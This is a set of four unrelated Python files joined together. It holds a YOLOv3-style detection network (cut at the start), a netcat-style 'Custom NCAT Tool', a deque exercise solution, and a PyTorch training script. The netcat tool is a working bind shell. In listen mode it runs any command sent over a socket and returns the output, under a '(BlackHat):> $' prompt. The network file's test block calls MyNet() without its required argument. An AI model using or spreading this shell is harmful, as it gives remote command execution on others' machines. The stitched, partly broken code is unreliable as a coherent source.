            torch.nn.LeakyReLU(0.1)
        )

    def forward(self, x):
        return self.sub_module(x)

class ResidualLayer(torch.nn.Module):

    def __init__(self, in_channels):
        super().__init__()

        self.sub_module = torch.nn.Sequential(
            ConvolutionalLayer(in_channels, in_channels // 2, 1, 1, 0),
            ConvolutionalLayer(in_channels // 2, in_channels, 3, 1, 1),
        )

    def forward(self, x):
        return x + self.sub_module(x)

class DownsamplingLayer(torch.nn.Module):
    def __init__(self, in_channels, out_channels):
        super().__init__()

        self.sub_module = torch.nn.Sequential(
            ConvolutionalLayer(in_channels, out_channels, 3, 2, 1)
        )

    def forward(self, x):
        return self.sub_module(x)

class ConvolutionalSet(torch.nn.Module):
    def __init__(self, in_channels, out_channels):
        super().__init__()

        self.sub_module = torch.nn.Sequential(
            ConvolutionalLayer(in_channels, out_channels, 1, 1, 0),
            ConvolutionalLayer(out_channels, in_channels, 3, 1, 1),

            ConvolutionalLayer(in_channels, out_channels, 1, 1, 0),
            ConvolutionalLayer(out_channels, in_channels, 3, 1, 1),

            ConvolutionalLayer(in_channels, out_channels, 1, 1, 0),
        )

    def forward(self, x):
        return self.sub_module(x)

class DarkNet(torch.nn.Module):

    def __init__(self):
        super().__init__()
        self.trunk_52 = torch.nn.Sequential(
            ConvolutionalLayer(3, 32, 3, 1, 1),
            ConvolutionalLayer(32, 64, 3, 2, 1),

            ResidualLayer(64),
            DownsamplingLayer(64, 128),

            ResidualLayer(128),
            ResidualLayer(128),
            DownsamplingLayer(128, 256),

            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
        )
        self.trunk_26 = torch.nn.Sequential(
            DownsamplingLayer(256, 512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
        )
        self.trunk_13 = torch.nn.Sequential(
            DownsamplingLayer(512, 1024),
            ResidualLayer(1024),
            ResidualLayer(1024),
            ResidualLayer(1024),
            ResidualLayer(1024)
        )

    def forward(self, x):
        h_52 = self.trunk_52(x)
        h_26 = self.trunk_26(h_52)
        h_13 = self.trunk_13(h_26)
        return h_52,h_26,h_13

class MyNet(torch.nn.Module):
    def __init__(self,cls_num):
        super().__init__()
        self.trunk_52 = torch.nn.Sequential(
            ConvolutionalLayer(3, 32, 3, 1, 1),
            ConvolutionalLayer(32, 64, 3, 2, 1),

            ResidualLayer(64),
            DownsamplingLayer(64, 128),

            ResidualLayer(128),
            ResidualLayer(128),
            DownsamplingLayer(128, 256),

            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
            ResidualLayer(256),
        )
        self.trunk_26 = torch.nn.Sequential(
            DownsamplingLayer(256, 512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
            ResidualLayer(512),
        )
        self.trunk_13 = torch.nn.Sequential(
            DownsamplingLayer(512, 1024),
            ResidualLayer(1024),
            ResidualLayer(1024),
            ResidualLayer(1024),
            ResidualLayer(1024)
        )
        self.convset_13 = torch.nn.Sequential(
            ConvolutionalSet(1024, 512)
        )
        self.detetion_13 = torch.nn.Sequential(
            ConvolutionalLayer(512, 1024, 3, 1, 1),
            torch.nn.Conv2d(1024, 3*(cls_num+5), 1, 1, 0)
        )
        self.up_26 = torch.nn.Sequential(
            ConvolutionalLayer(512, 256, 1, 1, 0),
            UpsampleLayer()
        )
        self.convset_26 = torch.nn.Sequential(
            ConvolutionalSet(768, 256)
        )
        self.detetion_26 = torch.nn.Sequential(
            ConvolutionalLayer(256, 512, 3, 1, 1),
            torch.nn.Conv2d(512, 3*(cls_num+5), 1, 1, 0)
        )
        self.up_52 = torch.nn.Sequential(
            ConvolutionalLayer(256, 128, 1, 1, 0),
            UpsampleLayer()
        )
        self.convset_52 = torch.nn.Sequential(
            ConvolutionalSet(384, 128)
        )
        self.detetion_52 = torch.nn.Sequential(
            ConvolutionalLayer(128, 256, 3, 1, 1),
            torch.nn.Conv2d(256, 3*(cls_num+5), 1, 1, 0)
        )

    def forward(self,x):
        h_52 = self.trunk_52(x)
        h_26 = self.trunk_26(h_52)
        h_13 = self.trunk_13(h_26)
        convset_out_13 = self.convset_13(h_13)
        detetion_out_13 = self.detetion_13(convset_out_13)

        up_out_26 = self.up_26(convset_out_13)
        route_out_26 = torch.cat((up_out_26, h_26), dim=1)
        convset_out_26 = self.convset_26(route_out_26)
        detetion_out_26 = self.detetion_26(convset_out_26)

        up_out_52 = self.up_52(convset_out_26)
        # print("up_out_52:",up_out_52.shape)
        # print("h_52:",h_52.shape)
        route_out_52 = torch.cat((up_out_52, h_52), dim=1)
        convset_out_52 = self.convset_52(route_out_52)
        detetion_out_52 = self.detetion_52(convset_out_52)
        return detetion_out_13, detetion_out_26, detetion_out_52

if __name__ == '__main__':
    trunk = MyNet()

    x = torch.Tensor(2, 3, 416, 416)

    y_13, y_26, y_52 = trunk(x)
    print(y_13.shape)
    print(y_26.shape)
    print(y_52.shape)
    # print(y_13.view(-1, 3, 5, 13, 13).shape)


import argparse
import threading
import shlex
import subprocess
import socket
import sys

class Net:
    def __init__(self, args, buffer=None):
        # Initialise Arguments
        self.args = args
        self.buffer = buffer

        # Connect to the network
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # Run Function
    def run(self):
        if self.args.listen:
            self.listen()
        else:
            self.send()

    # Send Function
    def send(self):
        self.socket.connect((self.args.host,self.args.port))
        if self.buffer:
            self.socket.send(self.buffer)
        try:

            while True:
                reply = ""
                blockSize = 1
                while blockSize:
                    data = self.socket.recv(4096)
                    blockSize = len(data)
                    reply += data.decode()
                    if blockSize < 4096:
                        break

                if reply:
                    print(reply)
                    buffer = input()
                    buffer += '\n'
                    self.socket.send(buffer.encode())

        except KeyboardInterrupt:
            print("User Terminated")
            self.socket.close()
            sys.exit()

    # Listen Function
    def listen(self):
        self.socket.bind((self.args.host, self.args.port))
        self.socket.listen(5)

        while True:
            client_socket, _ = self.socket.accept()
            handler = threading.Thread(target = self.handler_func, args = (client_socket, ))
            handler.start()

    # Handler Function
    def handler_func(self, client_socket):
        if self.args.execute:
            output = execute(self.args.execute)
            client_socket.send(output.encode())

        elif self.args.shell:
            try:
                while True:

                    cmd = b""

                    client_socket.send(b"(BlackHat):> $")

                    while '\n' not in cmd.decode():
                        cmd += client_socket.recv(64)

                    output = execute(cmd.decode())
                    client_socket.send(output.encode())

            except Exception as e:
                print(f"Server Killed: {e}")

# Execute command on shell
def execute(command):
    command = command.strip()
    if (not command or command == '\n'):
        return

    output = subprocess.check_output(shlex.split(command), stderr=subprocess.STDOUT)
    return output.decode()

# Arguments parser function
def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Custom NCAT Tool",
        epilog='''Example:
            \tpython ncat.py -i <ip_addr> -p <port> -l -s \t# Spawn a shell
            \tpython ncat.py -i <ip_addr> -p <port> -l -e <command>\t# Execute a command
            \tpython ncat.py -i <ip_addr> -p <port>\t\t# Connect to server
            '''
    )
    parser.add_argument('-i', '--host', help="Host/IP Address of the victim/attacker")
    parser.add_argument('-p', '--port', type=int, help="")
    parser.add_argument('-s', '--shell', action='store_true', help="Spawn a shell")
    parser.add_argument('-e', '--execute', help="Execute a command")
    parser.add_argument('-l', '--listen', action='store_true', help="Listening Mode")

    args = parser.parse_args()

    return args

def main():
    args = parse_arguments()

    attack = Net(args)

    attack.run()

if __name__ == "__main__":
    main()


import sys
import collections
from collections import deque
input = sys.stdin.readline

lst = deque()

def D():
    if len(lst) == 0:
        return (0)
    else:
        lst.popleft()
        return (1)

def R():
    (lst).reverse()

def parshing(s):
    if len(s) == 0:
        return (0)
    if len(s) == 1:
        t = s[0]
        t = t[1:]
        t = t[:-2]
        s[0] = t
    else:
        t = s[0]
        t = t[1:]
        s[0] = t
        t = s[-1]
        t = t[:-2]
        s[-1] = t
    for i in s:
        lst.append(int(i))
    return(1)

n = int(input())
for i in range(n):
    cmm = list(map(str, input()))
    l = int(input())
    ilst = list(map(str, input().split(',')))
    if l == 0:
        if 'D' in cmm:
            print('error')
            continue
    if parshing(ilst) == 0:
        print('error')
        quit()
    for k in cmm:
        if k == 'R':
            R()
        elif k == 'D':
            if D() == 0:
                print('error')
                continue
    if len(lst) > 0:
        print(list(lst))
    lst.clear()


"""
Author: HaoZhi
Date: 2022-09-23 15:28:09
LastEditors: HaoZhi
LastEditTime: 2022-09-23 16:05:00
Description:
"""
import os

import torch
from torch.utils.tensorboard import SummaryWriter

from dataset import train_loader, train_loader_compose
from model import Model
from model.loss.loss import ClsRegLoss, MseLoss
from model.metric.metric import MseMetric

device = "cuda:1"

train_folder = "/disk2/haozhi/tmp/data/train"
train_dat_path = "/disk2/haozhi/tmp/code/dataset/train_distribute.dat"
data_size = (1024, 1024)
batch_size = 12
num_worker = 4

# compose_dataset
if_data_compose = True
train_folder_compose = "/disk2/haozhi/tmp/data/compose_train"
train_dat_path_compose = "/disk2/haozhi/tmp/code/dataset/train_distribute_compose.dat"

backbone_name = "effnet"
reg_mode = "dist"
lr = 1e-3
wd = 1e-6

reseum_path = False
num_epoch = 500

log_dir = "./log_dist_effnet_compose"
ckpt_dir = "./ckpt_dist_effnet_compose"

def main():

    if not os.path.exists(log_dir):
        os.makedirs(log_dir)

    if not os.path.exists(ckpt_dir):
        os.makedirs(ckpt_dir)

    if reg_mode == "dist":
        head_name = "cls_dist"
        metric_mode = "dist"
        loss_op = ClsRegLoss().to(device)
    elif reg_mode == "deci":
        head_name = "cls_deci"
        metric_mode = "deci"
        loss_op = MseLoss().to(device)

    trainloader = train_loader(
        data_folder=train_folder,
        dat_path=train_dat_path,
        data_size=data_size,
        batch_size=batch_size,
        num_worker=num_worker,
    )

    trainloader_compose = train_loader_compose(
        data_folder=train_folder_compose,
        dat_path=train_dat_path_compose,
        data_size=data_size,
        batch_size=batch_size,
        num_worker=num_worker,
    )

    num_batch = len(trainloader)

    model = Model(backbone_name=backbone_name, head_name=head_name).to(device)
    metric_op = MseMetric(metric_mode).to(device)

    optimizer = torch.optim.AdamW(model.parameters(), lr=lr, weight_decay=wd)
    scheduler = torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(
        optimizer, T_0=30, T_mult=2, eta_min=1e-7
    )

    if reseum_path:
        checkpoint = torch.load(reseum_path)
        model.load_state_dict(checkpoint["model_state_dict"])
        optimizer.load_state_dict(checkpoint["optimizer_state_dict"])

    writer = SummaryWriter(log_dir=log_dir)

    for epoch in range(num_epoch):
        model.train()
        for idx, (imgs, counts, labels, pathes) in enumerate(trainloader):
            imgs = imgs.to(device)
            counts = counts.to(device)
            labels = labels.to(device)
            logits = model(imgs)
            loss = loss_op(logits, labels)
            preds, metric = metric_op(logits, counts)
            writer.add_scalar(
                "lr", scheduler.get_last_lr()[0], global_step=epoch * num_batch + idx
            )
            writer.add_scalar("mse", metric, global_step=epoch * num_batch + idx)
            writer.add_scalar("loss", loss, global_step=epoch * num_batch + idx)
            optimizer.zero_grad()
            loss.backward()
            optimizer.step()
            print(
                "Epoch = {:>5d} Steps = {:>5d} Lr = {:.3e} Mse = {:.5f} loss = {:.5f}".format(
                    epoch, idx, scheduler.get_last_lr()[0], metric.item(), loss.item()
                )
            )
        if if_data_compose:
            for idx, (imgs, counts, labels, pathes) in enumerate(trainloader_compose):
                imgs = imgs.to(device)
                counts = counts.to(device)
                labels = labels.to(device)
                logits = model(imgs)
                loss = loss_op(logits, labels)
                preds, metric = metric_op(logits, counts)
                writer.add_scalar(
                    "lr", scheduler.get_last_lr()[0], global_step=epoch * num_batch + idx
                )
                writer.add_scalar("mse", metric, global_step=epoch * num_batch + idx)
                writer.add_scalar("loss", loss, global_step=epoch * num_batch + idx)
                optimizer.zero_grad()
                loss.backward()
                optimizer.step()
                print(
                    "Epoch = {:>5d} Steps = {:>5d} Lr = {:.3e} Mse = {:.5f} loss = {:.5f}".format(
                        epoch, idx, scheduler.get_last_lr()[0], metric.item(), loss.item()
                    )
                )

        scheduler.step()
        checkpoint = {
            "model_state_dict": model.state_dict(),
            "optimizer_state_dict": optimizer.state_dict(),
            "epoch": epoch,
            "lr": scheduler.get_last_lr()[0],
        }
        torch.save(checkpoint, os.path.join(ckpt_dir, "model_" + str(epoch) + ".pth"))

if __name__ == "__main__":
    main()